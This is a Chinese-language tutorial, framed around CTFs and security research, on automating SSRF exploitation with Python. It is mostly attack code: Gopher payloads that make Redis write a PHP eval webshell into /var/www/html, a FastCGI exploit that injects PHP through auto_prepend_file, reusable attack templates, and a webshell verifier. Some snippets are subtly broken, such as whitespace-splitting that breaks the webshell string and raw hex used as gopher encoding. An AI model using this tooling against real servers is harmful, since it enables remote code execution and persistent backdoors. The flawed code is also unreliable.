不止于解题:用Python脚本自动化处理SSRF中的Gopher与Redis协议Payload
从手工到自动化:Python在SSRF漏洞挖掘中的高效实践
在网络安全领域,服务器端请求伪造(SSRF)一直是渗透测试和CTF比赛中的重点难点。传统的手工测试方法不仅效率低下,还容易因编码错误导致攻击失败。本文将分享如何利用Python脚本将繁琐的手工操作转化为自动化流程,让安全研究人员能够更专注于漏洞原理的理解和攻击逻辑的设计。
1. SSRF自动化测试的核心挑战
SSRF漏洞利用过程中最耗时的环节往往不是漏洞发现本身,而是各种协议payload的构造和编码转换。以Gopher协议攻击Redis服务为例,传统手工操作需要经历以下繁琐步骤:
- 手动构造Redis命令序列
- 处理特殊字符和换行符
- 进行多次URL编码
- 拼接最终的攻击URL
# 手工操作示例 - Redis攻击payload构造 redis_cmd = """ flushall set 1 '<?php eval($_GET["cmd"]);?>' config set dir /var/www/html config set dbfilename shell.php save """这种手工操作不仅容易出错,而且在需要调整攻击参数时,往往需要重新开始整个编码过程。更糟糕的是,某些CTF环境对请求有时间限制,手工操作可能无法在限定时间内完成。
2. Python自动化工具链设计
2.1 协议payload生成器
针对不同协议(Gopher、HTTP、FastCGI等),我们可以构建专门的payload生成函数。以Redis协议为例:
def generate_redis_payload(commands): """ 将Redis命令转换为Gopher可用的格式 :param commands: Redis命令列表 :return: 编码后的payload字符串 """ payload = "" for cmd in commands: parts = cmd.split() # 构造Redis协议格式 payload += f"*{len(parts)}\r\n" for part in parts: payload += f"${len(part)}\r\n{part}\r\n" return payload2.2 智能编码转换模块
多次URL编码是SSRF攻击中的常见需求,手工操作极易出错。我们可以实现自动化编码转换:
from urllib.parse import quote def multi_urlencode(data, times=2): """ 多层URL编码 :param data: 原始字符串 :param times: 编码次数 :return: 编码后的字符串 """ encoded = data for _ in range(times): encoded = quote(encoded) return encoded2.3 流量模拟与调试工具
对于复杂的攻击链,我们可以构建流量模拟器来验证payload的正确性:
import socket def test_gopher_payload(host, port, payload): """ 测试Gopher payload是否能够正确执行 :param host: 目标主机 :param port: 目标端口 :param payload: 构造的payload """ try: with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.connect((host, port)) s.sendall(payload.encode()) response = s.recv(4096) print(f"Received: {response.decode(errors='ignore')}") except Exception as e: print(f"Error: {str(e)}")3. 实战案例:自动化攻击链构建
3.1 Redis写Webshell全流程自动化
结合上述模块,我们可以实现从Redis命令到最终攻击URL的一键生成:
def generate_redis_attack(host, port, web_path, filename): """ 生成Redis写Webshell的完整攻击链 :param host: 目标主机 :param port: Redis端口 :param web_path: Web目录路径 :param filename: 要写入的文件名 :return: 可直接使用的攻击URL """ commands = [ "flushall", f"set 1 '<?php eval($_GET[\"cmd\"]);?>'", f"config set dir {web_path}", f"config set dbfilename {filename}", "save" ] redis_payload = generate_redis_payload(commands) gopher_payload = f"gopher://{host}:{port}/_{multi_urlencode(redis_payload)}" final_payload = multi_urlencode(gopher_payload) return f"/?url={final_payload}"3.2 FastCGI攻击自动化处理
对于FastCGI协议的攻击,我们可以利用现成的Python库进行封装:
from fastcgi_client import FastCGIClient def exploit_fastcgi(target, port, php_file, php_code): """ FastCGI协议自动化攻击 :param target: 目标主机 :param port: FastCGI端口 :param php_file: 目标PHP文件路径 :param php_code: 要执行的PHP代码 """ client = FastCGIClient(target, port, 3, 0) params = { 'GATEWAY_INTERFACE': 'FastCGI/1.0', 'REQUEST_METHOD': 'POST', 'SCRIPT_FILENAME': php_file, 'SCRIPT_NAME': php_file, 'QUERY_STRING': '', 'REQUEST_URI': php_file, 'DOCUMENT_ROOT': '/', 'SERVER_SOFTWARE': 'php/fcgiclient', 'REMOTE_ADDR': '127.0.0.1', 'REMOTE_PORT': '9985', 'SERVER_ADDR': '127.0.0.1', 'SERVER_PORT': '80', 'SERVER_NAME': "localhost", 'SERVER_PROTOCOL': 'HTTP/1.1', 'CONTENT_TYPE': 'application/text', 'CONTENT_LENGTH': "%d" % len(php_code), 'PHP_VALUE': 'auto_prepend_file = php://input', 'PHP_ADMIN_VALUE': 'allow_url_include = On' } response = client.request(params, php_code) print(response.decode())4. 效率提升技巧与最佳实践
4.1 攻击模板管理系统
对于常见的攻击场景,我们可以建立模板库,快速生成基础payload:
templates = { 'redis_webshell': { 'commands': [ "flushall", "set 1 '<?php eval($_GET[\"cmd\"]);?>'", "config set dir /var/www/html", "config set dbfilename {filename}", "save" ], 'encode_times': 2 }, 'fastcgi_phpinfo': { 'code': '<?php phpinfo(); exit; ?>', 'params': { 'PHP_VALUE': 'auto_prepend_file = php://input' } } } def get_template(name, **kwargs): """ 获取预定义的攻击模板 :param name: 模板名称 :param kwargs: 模板参数 :return: 填充后的模板内容 """ if name not in templates: raise ValueError(f"Unknown template: {name}") template = templates[name].copy() # 替换模板中的变量 if isinstance(template, dict): for key, value in template.items(): if isinstance(value, str): template[key] = value.format(**kwargs) return template4.2 自动化测试与验证
为每个生成的payload添加验证环节,确保攻击能够成功执行:
def verify_webshell(url, param='cmd', test_cmd='echo "test";'): """ 验证Webshell是否成功写入 :param url: Webshell地址 :param param: 参数名 :param test_cmd: 测试命令 :return: 是否验证成功 """ try: response = requests.get(f"{url}?{param}={quote(test_cmd)}") return "test" in response.text except: return False4.3 性能优化技巧
对于需要大量编码转换的操作,我们可以使用更高效的处理方式:
import codecs def hex_encode(data): """ 高效十六进制编码 :param data: 原始数据 :return: 十六进制字符串 """ return codecs.encode(data.encode(), 'hex').decode() def build_gopher_payload(host, port, data): """ 高效构建Gopher payload :param host: 目标主机 :param port: 目标端口 :param data: 原始数据 :return: 编码后的Gopher URL """ hex_data = hex_encode(data) return f"gopher://{host}:{port}/_{hex_data}"5. 安全研究与CTF实战应用
在真实的CTF比赛和安全研究中,自动化工具可以显著提升效率。以下是几个典型应用场景:
- 快速漏洞验证:在发现潜在SSRF漏洞时,快速验证漏洞是否存在
- 批量测试:对多个目标或多种payload变体进行批量测试
- 复杂攻击链:构建需要精确时序或多步骤的复杂攻击
- 模糊测试:自动生成各种边界条件的payload进行测试
# CTF中自动化利用SSRF的示例 def ctf_ssrf_exploit(target_url, local_port, payload_generator): """ CTF中自动化利用SSRF漏洞 :param target_url: 存在SSRF的URL :param local_port: 目标服务的端口 :param payload_generator: payload生成函数 """ payload = payload_generator("127.0.0.1", local_port) encoded_payload = multi_urlencode(payload) final_url = f"{target_url}?url={encoded_payload}" response = requests.get(final_url) if "flag{" in response.text: print("[+] Exploit successful!") print(response.text) else: print("[-] Exploit failed")在安全研究过程中,将这些自动化脚本整合到你的工作流程中,可以让你将更多精力集中在漏洞原理和攻击手法的创新上,而不是重复的编码和测试工作。
